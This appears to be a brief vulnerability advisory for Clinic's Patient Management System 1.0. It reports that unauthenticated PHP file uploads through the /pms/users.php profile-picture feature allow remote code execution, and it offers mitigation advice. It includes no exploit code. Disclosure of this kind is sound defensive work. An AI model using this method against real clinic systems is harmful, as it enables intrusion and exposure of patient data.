Clinic’s Patient Management System 1.0 – Unauthenticated Remote Code Execution

An unauthenticated user can exploit the /pms/users.php endpoint to upload a malicious PHP file as a profile picture without authentication. This can lead to remote code execution on the server.

Mitigation:

Implement proper input validation and authentication mechanisms to prevent unauthenticated file uploads. Regularly monitor and review uploaded files for any malicious content.
